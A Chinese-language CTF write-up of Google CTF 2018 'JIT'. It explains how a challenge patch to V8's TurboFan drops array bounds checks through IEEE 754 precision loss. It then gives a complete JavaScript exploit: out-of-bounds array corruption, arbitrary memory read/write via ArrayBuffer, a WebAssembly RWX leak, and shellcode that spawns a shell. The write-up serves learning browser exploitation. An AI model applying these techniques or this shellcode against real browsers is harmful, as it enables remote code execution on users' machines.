Home Google CTF 2018 JIT
Post
Cancel

Google CTF 2018 JIT

reference

我的第一道和JIT有关的题目,在复现的过程中学到了很多知识。

题目提供的是一个完整的Chrome浏览器,其中的V8引擎被打上了patch,所以漏洞实际上发生在V8上。因为编译Chrome的时间太长了,可以从题目给出的Chrome版本找到对应的V8版本,然后将V8打上patch编译之后直接对V8进行调试。

chrome版本:70.0.3538.9

V8 commit:e0a58f83255d1dae907e2ba4564ad8928a7dedf4

题目链接

找到对应版本的V8的之后,就按照常规流程对V8进行编译,但是在编译参数中要加入一句话:

1
v8_untrusted_code_mitigations = false

否则对于CheckBounds的优化不能正常的进行。 在调试这个版本的v8时发现,如果编译release版本进行调试,就算在编译参数中加入了支持调试的参数,也不能在GDB中正常使用job命令进行调试。最后的解决办法是直接使用debug版进行整个利用过程,但是因为debug版中的众多DCHECK()cSA_ASSERT()在进行数组越界读写的时候可能会触发检查而崩溃。解决办法只有在每次崩溃时,找到引起崩溃的检查的位置,然后把对应的检查给patch掉,再编译。

漏洞原理

首先来看一下这道题的patch文件,题目一共给出了两个Patch——addition-reducer.patch nosandbox.patch。其中第二个patch是关闭Chrome的沙箱和漏洞本身没有关系,而第一个patach是引起漏洞的原因。

patch的主要内容是在TypedLowering phase这个优化阶段添加了一个新的优化——DuplicateAdditionReducer。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@@ -1301,6 +1302,8 @@ struct TypedLoweringPhase {
                                data->jsgraph()->Dead());
     DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
                                               data->common(), temp_zone);
+    DuplicateAdditionReducer duplicate_addition_reducer(&graph_reducer, data->graph(),
+                                              data->common());
     JSCreateLowering create_lowering(&graph_reducer, data->dependencies(),
                                      data->jsgraph(), data->js_heap_broker(),
                                      data->native_context(), temp_zone);
@@ -1318,6 +1321,7 @@ struct TypedLoweringPhase {
                                          data->js_heap_broker(), data->common(),
                                          data->machine(), temp_zone);
     AddReducer(data, &graph_reducer, &dead_code_elimination);
+    AddReducer(data, &graph_reducer, &duplicate_addition_reducer);
     AddReducer(data, &graph_reducer, &create_lowering);
     AddReducer(data, &graph_reducer, &constant_folding_reducer);
     AddReducer(data, &graph_reducer, &typed_optimization);

从字面意思也可以大概知道这个优化的含义,消除多余的加法运算。当DuplicateAdditionReducerReduce()函数遍历到NumberAdd这个类型的Node的时候就会调用ReduceAddition()这个函数对可能存在的多余的加法进行优化。

下面是具体进行优化的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
  DCHECK_EQ(node->op()->ControlInputCount(), 0);
  DCHECK_EQ(node->op()->EffectInputCount(), 0);
  DCHECK_EQ(node->op()->ValueInputCount(), 2);

  //左操作数的opcode也为NumberAdd
  Node* left = NodeProperties::GetValueInput(node, 0);
  if (left->opcode() != node->opcode()) {
    return NoChange();
  }
  //左操作数的右操作数为常量
  Node* right = NodeProperties::GetValueInput(node, 1);
  if (right->opcode() != IrOpcode::kNumberConstant) {
    return NoChange();
  }
  //取左操作数的左右操作数:left_left, left_right
  Node* parent_left = NodeProperties::GetValueInput(left, 0);
  Node* parent_right = NodeProperties::GetValueInput(left, 1);
  //left_right必须是常量,展开就是: a + 1 + 2这样子
  if (parent_right->opcode() != IrOpcode::kNumberConstant) {
    return NoChange();
  }
  //取出两个常量所保存的数值
  double const1 = OpParameter<double>(right->op());
  double const2 = OpParameter<double>(parent_right->op());
  Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));

  NodeProperties::ReplaceValueInput(node, parent_left, 0);
  NodeProperties::ReplaceValueInput(node, new_const, 1);

  return Changed(node);
}

它的优化逻辑是:

  • 对于一个NumberAdd的Node n。
  • n的左操作数n_l Node也是一个NumberAdd Node,且左操作数的右操作数n_l_r Node是一个常量p。
  • n的右操作n_r数也是一个常量q。
  • 那么可以将n_l作为多余的NumberAdd Node优化掉:
    • 将n的左操作数从n_l替换为n_l_l。
    • 然后创建一个新的常量结点值为p + q,作为n的新的右操作数。

node_replace

这样的优化逻辑看起来没有什么问题,和常量折叠也有一定的相似的地方。但是在V8中这样的优化会造成在优化前后表达式结果不一致的漏洞,这和V8使用IEEE-754来表示整数值有关。

IEEE 754

有关IEE 754的两个介绍:reference_1reference_2

在V8中那些不能被smi所表示的整数值都将由IEEE 754来表示。要了解这个漏洞的原理首先必须要熟悉IEEE 754这种浮点数表示方法。

wikipedia

在V8中使用64位的IEEE 754表示法来表示小数和大于smi的整型数字。IEEE 754将这64位分成三个部分:

  • 0-52:小数部分(在非规约形式下整数部分默认为0,其他情况默认为1)。

  • 53-62:指数部分,表示小数点要左移(或右移)的位数,指数一般都以指数偏移值的形式来表示。所谓指数偏移值指的是,指数部分的编码值是:真实的指数值加上一个固定的值。一般这个固定的值是\(2^e - 1\)而e是指数部分的位数。

    • 这里举一个例子,在64位模式下指数部分的位数是11位,那么可以表示的指数值为-1022 - 1023(其中-1023和1024有特殊用途),那么固定值为\(2^{10} - 1 = 1023\)那么指数部分的最终取值范围是1 - 2046。

    使用指数偏移值来表示指数部分的好处是,这样可以使用宽度为e的无符号整数来表示指数,使指数之间的大小比较更加容易。

  • 63:符号位,代表了整个浮点数的符号是正还是负。

在使用IEEE 754来表示浮点数时分为规约形式和非规约形式。

  • 在规约形式下浮点数的小数部分的整数部分总是为1,且这个1不占用小数部分的位数,比如\((1.0001)_2\)这样的小数在IEEE 754中的小数部分表示为\((0001)_2\)。规约形式的好处是:在保证整数部分始终为1的情况下,在符号位相同的情况下,指数部分的大小决定了整个浮点数的大小。这样两个浮点数之间的比较过程就会被大大简化:

    • 比较符号位。
    • 如果符号位一致,比较指数部分。
    • 如果指数部分一致,比较小数部分。
  • 在非规约形式下的浮点数的小数部分整数部分为0。对于非规约形式的浮点数的详细介绍见维基百科,主要是为了解决两个差距较小的浮点数之间相减的问题。当一个浮点数的指数部分为0,且小数部分不为0时,就可以将这个表示看作是浮点数的非规约形式,此时指数部分默认为最小值(64位下为-1022)。

而IEEE 754并不是使用所有的码位来表示浮点数,它的所有码位可以按照下面的表格进行分类:

clipboard.png

所以IEEE 754究竟是如何来表示一个浮点数:\(double = (-1)^S * 2^e * f\)。

接下来我们需要了解的就是IEEE 754在表示整数时的精度问题,在确保精度的情况下IEEE 754可以表示的最大的整数是多少?实际上在保证精度的前提下,IEEE 754可以保存的最大值为$2^{53} - 1$表示为二进制也就是连续53个1。一旦超过这个值也就意味着会出现第54位、55位二进制数,虽然可以通过指数部分移动小数点来到达这个数量级,但是IEEE 754在64位的情况下小数部分最多只能保存53位二进制数,所以这意味高位部分的值将遭到截断,这也是造成精度丢失的原因。

触发漏洞

上面已经介绍了IEEE 754的精度丢失问题,那么如何将他与patch的优化联系起来?

IEEE 754中的精度丢失问题导致的最终结果就是对于一个大整数来说(大到可能引起精度丢失问题)+2和+1+1是不同的。

例子

以\(2^{53}\)来举例子,表示为二进制是1之后53个0,表示为IEEE 754 符号位为0,指数位53 + 1023 = 1076,小数部分为规约形式为0。

在V8中来证实我们的想法:

1
2
3
4
var a = Number.MAX_SAFE_INTEGER + 1;
var array = [1.0, a];
%DebugPrint(array);
%SystemBreak();

其中MAX_SAFE_INTEGER就是在确保精确的情况下double可以表示的最大整数\(2^{53} -1\),而\(2^{53}\)内存中的样子如下:

image-20220617121029793

而\(2^{53} + 2\)表示为二进制为1之后五十一个0然后加上10,表示为IEEE 754为表示为IEEE 754 符号位为0,指数位53 + 1023 = 1076,小数部分为规约形式为五十一个0和一个1。

image-20220617153837106

那么现在问题来了\(2^{53} + 1\)应该怎么表示?在二进制形势下为:1之后五十二个0然后加上1。表示为IEEE 754为表示为IEEE 754 符号位为0,指数位53 + 1023 = 1076,小数部分为规约形式为五十二个0和一个1。但是IEEE 754的小数部分只有52位,没有办法表示53位数字,所以这个53位的小数部分会遭到截断,在V8中这个1会直接被舍去,所以最终\(2^{53} + 1\)在V8中还是表示为\(2 ^{53}\),这就是精度丢失的问题。

由例子引映射出的问题

由上面的例子可以推断出\(2^{53} +1 + 1\)和\(2^{53} + 2\)是不相等的,前者等于\(2^{53}\)比后者小2,这是由于IEEE 754的精度丢失造成的。也就是说这个优化前后表达式的计算结果是不相等的。

bad_computation

那么优化后表达式的值大于优化前表达式的值,这会造成什么严重的后果呢?我们知道turbofan在进行优化时会进行一系列和Typer有关的优化,其中包括在Simplified lowering phase中的CheckBouns Elimination:turbofan会计算在访问数组元素时使用的index的Type,如果index的Type是一个Range,且这个Range的最大值小于数组的长度范围的最小值,那么在访问数组元素前的CheckBounds Node就会被优化掉。再结合DuplicateAdditionReducer优化,就给我们提供了可能越界访问数组元素的机会。

看下面这个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
let opt_me = (x) => {
  let arr = new Array(1.1,1.2,1.3,1.4);
  arr2 = new Array(42.1,42.0,42.0);
  let y = (x == "foo") ? 4503599627370495 : 4503599627370493;
  let z = 2 + y + y ; // maximum value : 2 + 4503599627370495 * 2 = 9007199254740992
  z = z + 1 + 1; // 9007199254740992 + 1 + 1 = 9007199254740992 + 1 = 9007199254740992
  // replaced by 9007199254740992+2=9007199254740994 because of the incorrect reduction
  z = z - (4503599627370495*2); // max = 2 vs actual max = 4
  return arr[z];
}

opt_me("");
%OptimizeFunctionOnNextCall(opt_me);
let res = opt_me("foo");
print(res);

首先解释以下在为y赋值时使用三元运算符的原因:如果直接让y等于4503599627370495这样一个常量,那么在turbofan的constant folding优化中这些计算都会被常量折叠直接合并,也就是说z = z + 1 + 1也将直接被折叠为常量,不会被DuplicateAdditionReducer优化为z = z + 2

之后根据上面的例子来研究漏洞的触发过程:

在Typer阶段会为SoN中的每个Node打上Type,其中y的值被表示为一个phi Node。

image-20220617162923317

依次类推在Typer阶段z最终被打上的Type是Range(0,2),这是因为IEEE 754的精度丢失,在z = z + 1 + 1;这个表达式计算之前z的最大值为9007199254740992,而在计算之后仍然是9007199254740992,因为每次+1都被截断,所以不管加多少次还都是9007199254740992。下面由turbolizer打印出的SoN也可以证明这一点。

image-20220617163523652

这样到达Simplified lowering阶段,在CheckBounds Elimination时,因为arr的length为4所以CheckBounds Node将会被消除:

image-20220617182300800

但是在Typer和Simplyfied lowering之间还有一个DuplicateAdditionReduce,这个优化会将z = z + 1 + 1优化为z = z + 2且不会重新计算Node的Type,这将导致优化后计算出的z的Type实际上应该是Range(0,4),在这个Type下是不能消除CheckBounds的,但是CheckBounds确实是已经被消除,造成的后果就是用户可以拿着值为4的index越界访问arr这个数组。

从运行结果也可以证实这个结论:

1
2
./d8 --allow-natives-syntax test_2.js
-1.1885946300594787e+148

那么我们该怎么利用这个漏洞呢?

漏洞利用

到现在为止已经可以完成对于一个数组(fixed array)的越界访问,而下一步需要做的是通过这一次越界访问的机会获得更加任意的数组越界访问,因为使用IEEE 754精度丢失进行越界访问还是比较麻烦和受限的。

获得更加任意地数组越界访问

而为了实现更任意的越界访问,第一个想到的方法就是修改一个数组的length属性。在之前学习V8中对象内存布局的时候了解过JSArray是分成两部分的:一部分是JSArray的结构体其中保存了Array的length,map,back store,而第二部分也就是数组中的element是被保存在一个fixed array中。而我们拥有的正是对于fixed array的越界访问,为了能修改到array的length,必须在这个fixed array之后安排一个JSArray的结构体。这个时候又不得不讲一下JSArray构造方法和其内存布局之间的关系:

  • var array_1 = new Array(1.1, 2.2, 3.3);:使用这种new的方法来创建Array,还分成两种情况:
    • 如果是在未JIT的情况下,在内存中,生成JSArray的结构体是位于fixed array之前。
    • 在JIT之后,在内存中,生成的JSArray结构体位于fiexd array之后。
  • arr2 = Array.of(42.1,42.0,42.0);:而使用of()方法创建Array,在内存中,JSArray结构体始终位于fixed array之前。

为了在越界的fixed array之后安排一个JSArray结构体,可以选择使用第一种Array的创建方式,这样在经过JIT之后,fixed array之后恰好放置了指向它的JSArray结构体。

image-20220620105813837

从上面的图中可以看到具体的内存排布,同时也告诉我们如果想要覆盖到JSArray中的length属性所需要的index = 6,而之前我们得到的index只有4是不足以访问到length属性的。这个问题我们可以通过增加“+ 1”的数量来解决,最终通过下面这一段exp获得对于数组的任意(也不是任意)越界访问:

1
2
3
4
5
6
7
8
9
10
11
12
13
function opt_me(choice)
{
    var array_1 = new Array(1.1, 2.2, 3.3);
    //Range(9007199254740987, 9007199254740992)
    var x = (choice == "opt") ? 9007199254740992 : 9007199254740987;
    //Range(9007199254740990, 9007199254740992) actually Range(9007199254740990, 9007199254740996)
    var y = x + 1 + 1 + 1;
    //Range(0, 2) acctually Range(0, 6)
    var z = y - (Number.MAX_SAFE_INTEGER - 1);
    //choice == "opt" z == 6
    array_1[z] = U32ToF64([0,0x1000]);
    return array_1;
}

opt_me()所返回的array_1的length已经被修改为0x1000而它的fixed array的长度只有3,这样就有很大越界访问的空间。

其实本来的想法是在opt_me()中完成一整套的利用,但是发现在优化函数中添加过多的代码,会导致一些不可预料到优化情况,甚至导致CheckBounds Elimination的失效,所以只把最简单的步骤放在opt_me()中,得到这个越界访问的数组之后就直接返回。

任意地址读写和获得RWX内存

reference

之后需要将相对于array_1的fixed array的越界访问拓展为任意地址读写,而借助的仍然是ArrayBuffer这个Object。在array_1之后申请一个ArrayBuffer,然后将ArrayBuffer的length当作是哨兵值找到ArrayBuffer中保存的内存地址。通过对这个内存地址的修改,借助ArrayBuffer达成任意地址写。

之后的步骤就和之前的利用一样:创建一个带有哨兵值的JSObject然后泄露WebAssembly的JSFunction的地址,然后有一条链泄露RWX的地址,最后使用任意地址写把shellcode写在这片地址并执行,最终的exp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
//use the ArrayBuffer to implement the conversion between the u32 and float64
let Convertion = new ArrayBuffer(0x10);
let ConvertionUInt32 = new Uint32Array(Convertion);
let ConvertionFloat = new Float64Array(Convertion);
let ConvertionUint64 = new BigInt64Array(Convertion)
function U32ToF64(src)
{
    ConvertionUInt32[0] = src[0]; 
    ConvertionUInt32[1] = src[1]; 
    return ConvertionFloat[0];
}
function F64ToU32(src)
{
    ConvertionFloat[0] = src; 
    //return a smi array
    return [ConvertionUInt32[0],ConvertionUInt32[1]];
}
function F64ToU64(src)
{
  ConvertionFloat[0] = src;
  //return a uint64 number
  return ConvertionUint64[0];
}
//create a wasm (RWX) area
let WasmBytes = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 1, 127, 0, 96, 0, 0, 2, 25, 1, 7, 105, 109, 112, 111, 114, 116, 115, 13, 105, 109, 112, 111, 114, 116, 101, 100, 95, 102, 117, 110, 99, 0, 0, 3, 2, 1, 1, 7, 17, 1, 13, 101, 120, 112, 111, 114, 116, 101, 100, 95, 102, 117, 110, 99, 0, 1, 10, 8, 1, 6, 0, 65, 42, 16, 0, 11]);
let WasmInst = new WebAssembly.Instance(new WebAssembly.Module(WasmBytes), {imports: {imported_func: function(x){ return x; }}});
let WasmFunc = WasmInst.exports.exported_func;
//fill the source string to length n from the lower
function ljust(src, n, c)
{
    if(src.length < n){
        src = c.repeat(n - src.length) + src;
    }
    return src;
}
//fill the source string to length n from the higher
function rjust(src, n, c)
{
    if(src.length < n){
        src = src + c.repeat(n - src.length);
    }
    return src;
}
//Convert a number to a hexadecimal string
//the arg must be a smi array
function Uint32ToHex64(x)
{
    return "0x" + ljust(x[1].toString(16),8,'0') + ljust(x[0].toString(16),8,'0');
}
//the arg must be a Uint64 number
function Uint64ToHex64(x)
{
    return "0x" + ljust(x.toString(16) ,8 ,'0');
}

function success(name, addr)
{
    console.log("[+]" + name + " ===> " + Uint32ToHex64(addr));
}

function opt_me(choice)
{
    var array_1 = new Array(1.1, 2.2, 3.3);
    //Range(9007199254740987, 9007199254740992)
    var x = (choice == "opt") ? 9007199254740992 : 9007199254740987;
    //Range(9007199254740990, 9007199254740992) actually Range(9007199254740990, 9007199254740996)
    var y = x + 1 + 1 + 1;
    //Range(0, 2) acctually Range(0, 6)
    var z = y - (Number.MAX_SAFE_INTEGER - 1);
    array_1[z] = U32ToF64([0,0x1000]);
    return array_1;
}
opt_me("no opt");

for(var i = 0; i < 0x10000; i++)
    opt_me("no opt");

var  res = opt_me("opt");

var buffer = new ArrayBuffer(0x666);
var buffer_view = new DataView(buffer);
var buffer_ptr_offset = -1;

//that NaN can't compare so we convert the NaN to U64 and then compare
for(var offset = 0x0; offset < res.length; offset++){
    if(F64ToU64(res[offset]) == 0x66600000000n){
        console.log("find ptr!");
        buffer_ptr_offset = offset + 1;
        break;
    }
}

if(buffer_ptr_offset == -1)
    throw "The ArrayBuffer's backingstore is not found!";
else 
    console.log("The offset of the ArrayBuffer's backingstore ptr is : " + buffer_ptr_offset.toString());
//get the arbitrary read and write 
function ArbitaryRead(addr, offset)
{
    addr[0] = addr[0] + offset;
    res[buffer_ptr_offset] = U32ToF64(addr);
    return [buffer_view.getUint32(0,true), buffer_view.getUint32(4, true)]; 
}
function ArbitaryWrite32(addr, data)
{
    res[buffer_ptr_offset] = U32ToF64(addr);
    buffer_view.setUint32(0, data, true);
}

//get the fucking WasmFuck_addr
var leak_array = {a : 0x666, b : 0x666, WasmFunc};
var WasmFunc_addr = -1;
for(var i = 0; i < res.length - 2; i++)
{
    console.log(i);
    if((F64ToU64(res[i]) == 0x66600000000n) && (F64ToU64(res[i + 1]) == 0x66600000000n)){
        var tmp = F64ToU32(res[i + 2]);
        tmp[0] = tmp[0] - 1;
        WasmFunc_addr = tmp;
        break;
    }
}

if(WasmFunc_addr == -1)
    console.log("Can't find the WasmFunc_addr.")
else
    success("WasmFunc_addr", WasmFunc_addr);

//shared_info offset = 0x18
// WasnExportedFunctionData offset = 0x8
// instance offset = 0x10
// RWX offset = 0x1d 

var shared_info_addr = ArbitaryRead(WasmFunc_addr, 0x18);
shared_info_addr[0] = shared_info_addr[0] - 1;
success("shared_info_addr", shared_info_addr);

var WasmExportedFunctionData_addr = ArbitaryRead(shared_info_addr, 0x8);
WasmExportedFunctionData_addr[0] = WasmExportedFunctionData_addr[0] - 1;
success("WasmExportedFunctionData_addr", WasmExportedFunctionData_addr);

var instance_addr = ArbitaryRead(WasmExportedFunctionData_addr, 0x10);
instance_addr[0] = instance_addr[0] - 1;
success("instace_addr", instance_addr);

var RWX_addr = ArbitaryRead(instance_addr, 0x1d * 8);
success("RWX_adde", RWX_addr);

var Code = new Uint32Array([0x622fb848, 0x732f6e69, 0x50990068, 0x66525f54, 0x54632d68, 0x05e8525e, 0x62000000, 0x00687361, 
    0x5e545756, 0x0f583b6a, 0x00000005]);
for(var i = 0; i < Code.length; i++)
{
    ArbitaryWrite32(RWX_addr, Code[i]);
    RWX_addr[0] = RWX_addr[0] + 4;
}
//get shell
WasmFunc();

This post is licensed under CC BY 4.0 by the author.
Trending Tags